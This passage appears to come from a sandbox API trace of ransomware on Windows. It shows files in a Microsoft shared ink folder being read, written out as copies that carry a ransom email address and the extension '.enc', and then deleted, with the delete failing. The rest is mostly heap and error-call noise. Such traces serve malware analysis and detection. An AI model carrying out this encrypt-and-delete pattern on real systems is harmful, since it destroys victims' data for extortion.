0x0 [0121.009] GetLastError () returned 0x0 [0121.009] GetLastError () returned 0x0 [0121.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32655c8 [0121.009] GetLastError () returned 0x0 [0121.009] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.009] GetFileType (hFile=0x39c) returned 0x1 [0121.010] GetLastError () returned 0x0 [0121.010] GetLastError () returned 0x0 [0121.010] GetFileType (hFile=0x39c) returned 0x1 [0121.010] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.010] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.010] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.010] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.010] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.010] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.010] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.010] GetLastError () returned 0x0 [0121.010] GetCurrentThreadId () returned 0x9b0 [0121.011] GetLastError () returned 0x0 [0121.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655c8 | out: hHeap=0x2ad0000) returned 1 [0121.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0121.011] GetLastError () returned 0x0 [0121.011] GetLastError () returned 0x0 [0121.011] GetLastError () returned 0x0 [0121.011] GetLastError () returned 0x0 [0121.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265538 [0121.011] GetLastError () returned 0x0 [0121.011] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.012] GetFileType (hFile=0x3ac) returned 0x1 [0121.012] GetLastError () returned 0x0 [0121.013] GetCurrentThreadId () returned 0x9b0 [0121.013] GetLastError () returned 0x0 [0121.013] GetFileType (hFile=0x3ac) returned 0x1 [0121.013] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.013] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.013] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.013] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.013] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.013] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.013] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.013] GetLastError () returned 0x0 [0121.013] GetCurrentThreadId () returned 0x9b0 [0121.013] GetLastError () returned 0x0 [0121.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265538 | out: hHeap=0x2ad0000) returned 1 [0121.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0121.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0121.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.014] GetLastError () returned 0x0 [0121.014] GetLastError () returned 0x0 [0121.014] GetCurrentThreadId () returned 0x9b0 [0121.014] GetLastError () returned 0x0 [0121.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0121.014] GetLastError () returned 0x0 [0121.014] GetLastError () returned 0x0 [0121.015] GetCurrentThreadId () returned 0x9b0 [0121.015] GetLastError () returned 0x0 [0121.015] GetCurrentThreadId () returned 0x9b0 [0121.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.015] GetLastError () returned 0x0 [0121.016] GetLastError () returned 0x0 [0121.016] GetCurrentThreadId () returned 0x9b0 [0121.017] GetLastError () returned 0x0 [0121.017] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xbe5) returned 0x36f8548 [0121.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265538 [0121.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0121.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xbe8) returned 0x35be9f8 [0121.017] GetLastError () returned 0x0 [0121.017] GetLastError () returned 0x0 [0121.017] GetLastError () returned 0x0 [0121.017] GetLastError () returned 0x0 [0121.017] GetCurrentThreadId () returned 0x9b0 [0121.017] GetLastError () returned 0x0 [0121.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0121.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.018] GetLastError () returned 0x0 [0121.018] GetLastError () returned 0x0 [0121.018] GetCurrentThreadId () returned 0x9b0 [0121.018] GetLastError () returned 0x0 [0121.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bf5e8 | out: hHeap=0x2ad0000) returned 1 [0121.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9138 [0121.018] GetLastError () returned 0x0 [0121.018] GetLastError () returned 0x0 [0121.019] GetCurrentThreadId () returned 0x9b0 [0121.019] GetLastError () returned 0x0 [0121.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9138 | out: hHeap=0x2ad0000) returned 1 [0121.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.019] GetLastError () returned 0x0 [0121.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.020] CloseHandle (hObject=0x3ac) returned 1 [0121.020] GetLastError () returned 0x0 [0121.020] GetCurrentThreadId () returned 0x9b0 [0121.020] GetLastError () returned 0x0 [0121.020] GetCurrentThreadId () returned 0x9b0 [0121.021] GetLastError () returned 0x0 [0121.021] CloseHandle (hObject=0x39c) returned 1 [0121.021] GetLastError () returned 0x0 [0121.021] GetCurrentThreadId () returned 0x9b0 [0121.021] GetLastError () returned 0x0 [0121.021] GetLastError () returned 0x0 [0121.021] GetLastError () returned 0x0 [0121.021] GetLastError () returned 0x0 [0121.021] GetLastError () returned 0x0 [0121.021] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0 [0121.022] GetLastError () returned 0x5 [0121.022] GetCurrentThreadId () returned 0x9b0 [0121.022] GetLastError () returned 0x5 [0121.022] GetLastError () returned 0x5 [0121.022] GetLastError () returned 0x5 [0121.022] GetLastError () returned 0x5 [0121.022] LocalFree (hMem=0x1053cb0) returned 0x0 [0121.022] GetLastError () returned 0x5 [0121.022] GetLastError () returned 0x5 [0121.022] GetLastError () returned 0x5 [0121.023] GetLastError () returned 0x5 [0121.023] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll", lpFilePart=0x9bada4*="IPSEventLogMsg.dll") returned 0x45 [0121.023] GetCurrentThreadId () returned 0x9b0 [0121.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0121.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0121.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.023] GetCurrentThreadId () returned 0x9b0 [0121.024] GetLastError () returned 0x5 [0121.024] GetLastError () returned 0x5 [0121.024] GetLastError () returned 0x5 [0121.024] GetLastError () returned 0x5 [0121.024] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml", lpFilePart=0x9bada4*="ipsfin.xml") returned 0x3d [0121.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0121.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0121.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0121.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0121.024] GetCurrentThreadId () returned 0x9b0 [0121.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0121.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a51d8 | out: hHeap=0x2ad0000) returned 1 [0121.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a48a8 | out: hHeap=0x2ad0000) returned 1 [0121.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4a30 | out: hHeap=0x2ad0000) returned 1 [0121.025] GetLastError () returned 0x0 [0121.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0121.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0121.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30281c0 | out: hHeap=0x2ad0000) returned 1 [0121.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0121.025] GetLastError () returned 0x0 [0121.025] GetLastError () returned 0x0 [0121.026] GetLastError () returned 0x0 [0121.026] GetCurrentThreadId () returned 0x9b0 [0121.026] GetLastError () returned 0x0 [0121.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0121.026] GetLastError () returned 0x0 [0121.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0121.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0121.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0121.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b80 | out: hHeap=0x2ad0000) returned 1 [0121.026] GetLastError () returned 0x0 [0121.026] GetLastError () returned 0x0 [0121.026] GetLastError () returned 0x0 [0121.027] GetCurrentThreadId () returned 0x9b0 [0121.027] GetLastError () returned 0x0 [0121.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0121.027] GetLastError () returned 0x0 [0121.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0121.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0121.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0121.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a40 | out: hHeap=0x2ad0000) returned 1 [0121.027] GetLastError () returned 0x0 [0121.027] GetLastError () returned 0x0 [0121.027] GetLastError () returned 0x0 [0121.027] GetCurrentThreadId () returned 0x9b0 [0121.028] GetLastError () returned 0x0 [0121.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0121.028] GetLastError () returned 0x0 [0121.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0121.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0121.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0121.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a00 | out: hHeap=0x2ad0000) returned 1 [0121.028] GetLastError () returned 0x0 [0121.028] GetLastError () returned 0x0 [0121.028] GetLastError () returned 0x0 [0121.028] GetCurrentThreadId () returned 0x9b0 [0121.028] GetLastError () returned 0x0 [0121.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5e8 | out: hHeap=0x2ad0000) returned 1 [0121.029] GetLastError () returned 0x0 [0121.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0121.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0121.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028378 | out: hHeap=0x2ad0000) returned 1 [0121.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183840 | out: hHeap=0x2ad0000) returned 1 [0121.029] GetLastError () returned 0x0 [0121.029] GetLastError () returned 0x0 [0121.029] GetLastError () returned 0x0 [0121.029] GetCurrentThreadId () returned 0x9b0 [0121.029] GetLastError () returned 0x0 [0121.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0121.030] GetLastError () returned 0x0 [0121.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0121.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0121.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0121.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838e0 | out: hHeap=0x2ad0000) returned 1 [0121.030] GetLastError () returned 0x0 [0121.030] GetLastError () returned 0x0 [0121.030] GetLastError () returned 0x0 [0121.030] GetCurrentThreadId () returned 0x9b0 [0121.030] GetLastError () returned 0x0 [0121.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de668 | out: hHeap=0x2ad0000) returned 1 [0121.031] GetLastError () returned 0x0 [0121.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0121.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306518 | out: hHeap=0x2ad0000) returned 1 [0121.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0121.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0121.031] GetLastError () returned 0x0 [0121.031] GetLastError () returned 0x0 [0121.031] GetLastError () returned 0x0 [0121.031] GetCurrentThreadId () returned 0x9b0 [0121.031] GetLastError () returned 0x0 [0121.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de628 | out: hHeap=0x2ad0000) returned 1 [0121.031] GetLastError () returned 0x0 [0121.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306748 | out: hHeap=0x2ad0000) returned 1 [0121.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3305e88 | out: hHeap=0x2ad0000) returned 1 [0121.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0121.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838c0 | out: hHeap=0x2ad0000) returned 1 [0121.032] GetLastError () returned 0x0 [0121.032] GetLastError () returned 0x0 [0121.032] GetLastError () returned 0x0 [0121.032] GetCurrentThreadId () returned 0x9b0 [0121.032] GetLastError () returned 0x0 [0121.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0121.032] GetLastError () returned 0x0 [0121.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33055c8 | out: hHeap=0x2ad0000) returned 1 [0121.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306ba8 | out: hHeap=0x2ad0000) returned 1 [0121.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0121.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0121.033] GetLastError () returned 0x0 [0121.033] GetLastError () returned 0x0 [0121.033] GetLastError () returned 0x0 [0121.033] GetCurrentThreadId () returned 0x9b0 [0121.033] GetLastError () returned 0x0 [0121.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de538 | out: hHeap=0x2ad0000) returned 1 [0121.033] GetLastError () returned 0x0 [0121.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3305b40 | out: hHeap=0x2ad0000) returned 1 [0121.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306860 | out: hHeap=0x2ad0000) returned 1 [0121.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cde0 | out: hHeap=0x2ad0000) returned 1 [0121.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b20 | out: hHeap=0x2ad0000) returned 1 [0121.034] GetLastError () returned 0x0 [0121.034] GetLastError () returned 0x0 [0121.034] GetLastError () returned 0x0 [0121.034] GetCurrentThreadId () returned 0x9b0 [0121.034] GetLastError () returned 0x0 [0121.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de548 | out: hHeap=0x2ad0000) returned 1 [0121.034] GetLastError () returned 0x0 [0121.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33062e8 | out: hHeap=0x2ad0000) returned 1 [0121.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3305fa0 | out: hHeap=0x2ad0000) returned 1 [0121.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd90 | out: hHeap=0x2ad0000) returned 1 [0121.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183940 | out: hHeap=0x2ad0000) returned 1 [0121.034] GetLastError () returned 0x0 [0121.035] GetLastError () returned 0x0 [0121.035] GetLastError () returned 0x0 [0121.035] GetCurrentThreadId () returned 0x9b0 [0121.035] GetLastError () returned 0x0 [0121.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0121.035] GetLastError () returned 0x0 [0121.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306dd8 | out: hHeap=0x2ad0000) returned 1 [0121.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3305c58 | out: hHeap=0x2ad0000) returned 1 [0121.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cbb0 | out: hHeap=0x2ad0000) returned 1 [0121.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183900 | out: hHeap=0x2ad0000) returned 1 [0121.035] GetLastError () returned 0x0 [0121.035] GetLastError () returned 0x0 [0121.036] GetLastError () returned 0x0 [0121.036] GetCurrentThreadId () returned 0x9b0 [0121.036] GetLastError () returned 0x0 [0121.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0121.036] GetCurrentThreadId () returned 0x9b0 [0121.036] GetLastError () returned 0x0 [0121.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306400 | out: hHeap=0x2ad0000) returned 1 [0121.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306ef0 | out: hHeap=0x2ad0000) returned 1 [0121.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb88 | out: hHeap=0x2ad0000) returned 1 [0121.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c00 | out: hHeap=0x2ad0000) returned 1 [0121.036] GetLastError () returned 0x0 [0121.036] GetLastError () returned 0x0 [0121.037] GetLastError () returned 0x0 [0121.037] GetCurrentThreadId () returned 0x9b0 [0121.037] GetLastError () returned 0x0 [0121.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0121.037] GetLastError () returned 0x0 [0121.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33060b8 | out: hHeap=0x2ad0000) returned 1 [0121.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306630 | out: hHeap=0x2ad0000) returned 1 [0121.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cbd8 | out: hHeap=0x2ad0000) returned 1 [0121.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183920 | out: hHeap=0x2ad0000) returned 1 [0121.037] GetLastError () returned 0x0 [0121.037] GetLastError () returned 0x0 [0121.037] GetLastError () returned 0x0 [0121.038] GetCurrentThreadId () returned 0x9b0 [0121.038] GetLastError () returned 0x0 [0121.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0121.038] GetLastError () returned 0x0 [0121.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306978 | out: hHeap=0x2ad0000) returned 1 [0121.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33061d0 | out: hHeap=0x2ad0000) returned 1 [0121.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cca0 | out: hHeap=0x2ad0000) returned 1 [0121.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183aa0 | out: hHeap=0x2ad0000) returned 1 [0121.038] GetLastError () returned 0x0 [0121.038] GetLastError () returned 0x0 [0121.038] GetLastError () returned 0x0 [0121.039] GetCurrentThreadId () returned 0x9b0 [0121.039] GetLastError () returned 0x0 [0121.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.039] GetLastError () returned 0x0 [0121.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306a90 | out: hHeap=0x2ad0000) returned 1 [0121.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306cc0 | out: hHeap=0x2ad0000) returned 1 [0121.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cfe8 | out: hHeap=0x2ad0000) returned 1 [0121.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0121.039] GetLastError () returned 0x0 [0121.039] GetLastError () returned 0x0 [0121.039] GetLastError () returned 0x0 [0121.039] GetCurrentThreadId () returned 0x9b0 [0121.040] GetLastError () returned 0x0 [0121.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0121.040] GetLastError () returned 0x0 [0121.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3307008 | out: hHeap=0x2ad0000) returned 1 [0121.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3307120 | out: hHeap=0x2ad0000) returned 1 [0121.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce80 | out: hHeap=0x2ad0000) returned 1 [0121.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839e0 | out: hHeap=0x2ad0000) returned 1 [0121.040] GetLastError () returned 0x0 [0121.040] GetLastError () returned 0x0 [0121.040] GetLastError () returned 0x0 [0121.040] GetCurrentThreadId () returned 0x9b0 [0121.040] GetLastError () returned 0x0 [0121.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0121.041] GetLastError () returned 0x0 [0121.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3307238 | out: hHeap=0x2ad0000) returned 1 [0121.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3307350 | out: hHeap=0x2ad0000) returned 1 [0121.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cfc0 | out: hHeap=0x2ad0000) returned 1 [0121.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839a0 | out: hHeap=0x2ad0000) returned 1 [0121.041] GetLastError () returned 0x0 [0121.041] GetLastError () returned 0x0 [0121.041] GetLastError () returned 0x0 [0121.041] GetCurrentThreadId () returned 0x9b0 [0121.041] GetLastError () returned 0x0 [0121.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0121.042] GetLastError () returned 0x0 [0121.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3307468 | out: hHeap=0x2ad0000) returned 1 [0121.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33056e0 | out: hHeap=0x2ad0000) returned 1 [0121.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc00 | out: hHeap=0x2ad0000) returned 1 [0121.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839c0 | out: hHeap=0x2ad0000) returned 1 [0121.042] GetLastError () returned 0x0 [0121.042] GetLastError () returned 0x0 [0121.042] GetLastError () returned 